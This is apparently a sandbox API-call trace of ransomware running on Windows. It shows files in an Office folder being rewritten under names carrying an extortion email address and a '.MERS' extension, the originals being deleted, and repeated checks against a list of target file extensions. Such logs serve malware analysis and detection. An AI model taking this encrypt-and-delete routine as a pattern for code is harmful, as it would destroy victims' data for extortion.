[0273.900] CloseHandle (hObject=0x3b0) returned 1 [0273.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0273.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.901] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.901] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0273.901] GetLastError () returned 0x0 [0273.901] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x69e, lpOverlapped=0x0) returned 1 [0273.905] WriteFile (in: hFile=0x288, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0273.907] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0273.907] WriteFile (in: hFile=0x288, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0273.907] SetEndOfFile (hFile=0x288) returned 1 [0273.907] CloseHandle (hObject=0x288) returned 1 [0273.907] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.907] SetEndOfFile (hFile=0x3b0) returned 1 [0273.909] CloseHandle (hObject=0x3b0) returned 1 [0273.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 1 [0273.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.910] lstrlenW (lpString=".doc") returned 4 [0273.910] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0273.910] lstrlenW (lpString=".docx") returned 5 [0273.910] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0273.910] lstrlenW (lpString=".pdf") returned 4 [0273.910] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0273.910] lstrlenW (lpString=".xls") returned 4 [0273.911] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0273.911] lstrlenW (lpString=".xlsx") returned 5 [0273.911] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0273.911] lstrlenW (lpString=".ppt") returned 4 [0273.911] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0273.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.911] lstrlenW (lpString=".zip") returned 4 [0273.911] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0273.911] lstrlenW (lpString=".rar") returned 4 [0273.911] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0273.911] lstrlenW (lpString=".bz2") returned 4 [0273.911] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0273.911] lstrlenW (lpString=".7z") returned 3 [0273.911] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0273.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.911] lstrlenW (lpString=".dbf") returned 4 [0273.911] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0273.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.911] lstrlenW (lpString=".1cd") returned 4 [0273.911] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0273.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.911] lstrlenW (lpString=".jpg") returned 4 [0273.911] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0273.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.911] lstrlenW (lpString=".doc") returned 4 [0273.911] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0273.911] lstrlenW (lpString=".docx") returned 5 [0273.911] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0273.912] lstrlenW (lpString=".pdf") returned 4 [0273.912] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0273.912] lstrlenW (lpString=".xls") returned 4 [0273.912] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0273.912] lstrlenW (lpString=".xlsx") returned 5 [0273.912] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0273.912] lstrlenW (lpString=".ppt") returned 4 [0273.912] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0273.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.912] lstrlenW (lpString=".zip") returned 4 [0273.912] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0273.912] lstrlenW (lpString=".rar") returned 4 [0273.912] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0273.912] lstrlenW (lpString=".bz2") returned 4 [0273.912] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0273.912] lstrlenW (lpString=".7z") returned 3 [0273.912] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0273.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.912] lstrlenW (lpString=".dbf") returned 4 [0273.912] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0273.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.912] lstrlenW (lpString=".1cd") returned 4 [0273.912] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0273.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0273.912] lstrlenW (lpString=".jpg") returned 4 [0273.912] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0273.912] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0273.913] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0273.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.913] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=24960) returned 1 [0273.913] CloseHandle (hObject=0x3b0) returned 1 [0273.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll")) returned 0x20 [0273.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.913] lstrlenW (lpString=".doc") returned 4 [0273.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0273.914] lstrlenW (lpString=".docx") returned 5 [0273.914] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0273.914] lstrlenW (lpString=".pdf") returned 4 [0273.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0273.914] lstrlenW (lpString=".xls") returned 4 [0273.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0273.914] lstrlenW (lpString=".xlsx") returned 5 [0273.914] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0273.914] lstrlenW (lpString=".ppt") returned 4 [0273.914] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0273.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.914] lstrlenW (lpString=".zip") returned 4 [0273.914] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0273.914] lstrlenW (lpString=".rar") returned 4 [0273.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0273.914] lstrlenW (lpString=".bz2") returned 4 [0273.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0273.914] lstrlenW (lpString=".7z") returned 3 [0273.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0273.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.914] lstrlenW (lpString=".dbf") returned 4 [0273.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0273.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.914] lstrlenW (lpString=".1cd") returned 4 [0273.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0273.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.914] lstrlenW (lpString=".jpg") returned 4 [0273.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0273.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.914] lstrlenW (lpString=".doc") returned 4 [0273.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0273.915] lstrlenW (lpString=".docx") returned 5 [0273.915] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0273.915] lstrlenW (lpString=".pdf") returned 4 [0273.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0273.915] lstrlenW (lpString=".xls") returned 4 [0273.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0273.915] lstrlenW (lpString=".xlsx") returned 5 [0273.915] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0273.915] lstrlenW (lpString=".ppt") returned 4 [0273.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0273.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.915] lstrlenW (lpString=".zip") returned 4 [0273.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0273.915] lstrlenW (lpString=".rar") returned 4 [0273.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0273.915] lstrlenW (lpString=".bz2") returned 4 [0273.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0273.915] lstrlenW (lpString=".7z") returned 3 [0273.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0273.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.915] lstrlenW (lpString=".dbf") returned 4 [0273.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0273.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.915] lstrlenW (lpString=".1cd") returned 4 [0273.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0273.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0273.916] lstrlenW (lpString=".jpg") returned 4 [0273.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0273.916] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.916] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0273.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.916] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=10104) returned 1 [0273.916] CloseHandle (hObject=0x3b0) returned 1 [0273.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll")) returned 0x20 [0273.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.917] lstrlenW (lpString=".doc") returned 4 [0273.917] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.917] lstrlenW (lpString=".docx") returned 5 [0273.917] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0273.917] lstrlenW (lpString=".pdf") returned 4 [0273.917] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.917] lstrlenW (lpString=".xls") returned 4 [0273.917] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.917] lstrlenW (lpString=".xlsx") returned 5 [0273.917] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0273.917] lstrlenW (lpString=".ppt") returned 4 [0273.917] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.917] lstrlenW (lpString=".zip") returned 4 [0273.917] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.917] lstrlenW (lpString=".rar") returned 4 [0273.917] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.917] lstrlenW (lpString=".bz2") returned 4 [0273.917] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.917] lstrlenW (lpString=".7z") returned 3 [0273.917] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.917] lstrlenW (lpString=".dbf") returned 4 [0273.917] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.917] lstrlenW (lpString=".1cd") returned 4 [0273.918] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.918] lstrlenW (lpString=".jpg") returned 4 [0273.918] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.918] lstrlenW (lpString=".doc") returned 4 [0273.918] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.918] lstrlenW (lpString=".docx") returned 5 [0273.918] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0273.918] lstrlenW (lpString=".pdf") returned 4 [0273.918] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.918] lstrlenW (lpString=".xls") returned 4 [0273.918] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.918] lstrlenW (lpString=".xlsx") returned 5 [0273.918] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0273.918] lstrlenW (lpString=".ppt") returned 4 [0273.918] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.918] lstrlenW (lpString=".zip") returned 4 [0273.918] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.918] lstrlenW (lpString=".rar") returned 4 [0273.918] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.918] lstrlenW (lpString=".bz2") returned 4 [0273.918] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.918] lstrlenW (lpString=".7z") returned 3 [0273.918] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.918] lstrlenW (lpString=".dbf") returned 4 [0273.918] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.918] lstrlenW (lpString=".1cd") returned 4 [0273.919] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0273.919] lstrlenW (lpString=".jpg") returned 4 [0273.919] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.919] lstrcmpiW (lpString1=".VSL", lpString2=".MERS") returned 1 [0273.919] lstrlenW (lpString="BSTORM.VSL") returned 10 [0273.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.920] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=45968) returned 1 [0273.920] CloseHandle (hObject=0x3b0) returned 1 [0273.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20 [0273.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.921] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.921] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0273.921] GetLastError () returned 0x0 [0273.921] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0xb390, lpOverlapped=0x0) returned 1 [0274.076] WriteFile (in: hFile=0x288, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xb3a0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xb3a0, lpOverlapped=0x0) returned 1 [0274.078] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0274.078] WriteFile (in: hFile=0x288, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0274.078] SetEndOfFile (hFile=0x288) returned 1 [0274.078] CloseHandle (hObject=0x288) returned 1 [0274.078] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.078] SetEndOfFile (hFile=0x3b0) returned 1 [0274.080] CloseHandle (hObject=0x3b0) returned 1 [0274.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0274.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 1 [0274.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.082] lstrlenW (lpString=".doc") returned 4 [0274.082] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0274.082] lstrlenW (lpString=".docx") returned 5 [0274.082] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0274.082] lstrlenW (lpString=".pdf") returned 4 [0274.082] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0274.082] lstrlenW (lpString=".xls") returned 4 [0274.082] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0274.082] lstrlenW (lpString=".xlsx") returned 5 [0274.082] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0274.082] lstrlenW (lpString=".ppt") returned 4 [0274.082] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0274.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.083] lstrlenW (lpString=".zip") returned 4 [0274.083] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0274.083] lstrlenW (lpString=".rar") returned 4 [0274.083] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0274.083] lstrlenW (lpString=".bz2") returned 4 [0274.083] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0274.083] lstrlenW (lpString=".7z") returned 3 [0274.083] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.083] lstrlenW (lpString=".dbf") returned 4 [0274.083] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.083] lstrlenW (lpString=".1cd") returned 4 [0274.083] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.083] lstrlenW (lpString=".jpg") returned 4 [0274.083] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.083] lstrlenW (lpString=".doc") returned 4 [0274.083] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0274.083] lstrlenW (lpString=".docx") returned 5 [0274.083] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0274.083] lstrlenW (lpString=".pdf") returned 4 [0274.083] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0274.084] lstrlenW (lpString=".xls") returned 4 [0274.084] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0274.084] lstrlenW (lpString=".xlsx") returned 5 [0274.084] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0274.084] lstrlenW (lpString=".ppt") returned 4 [0274.084] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 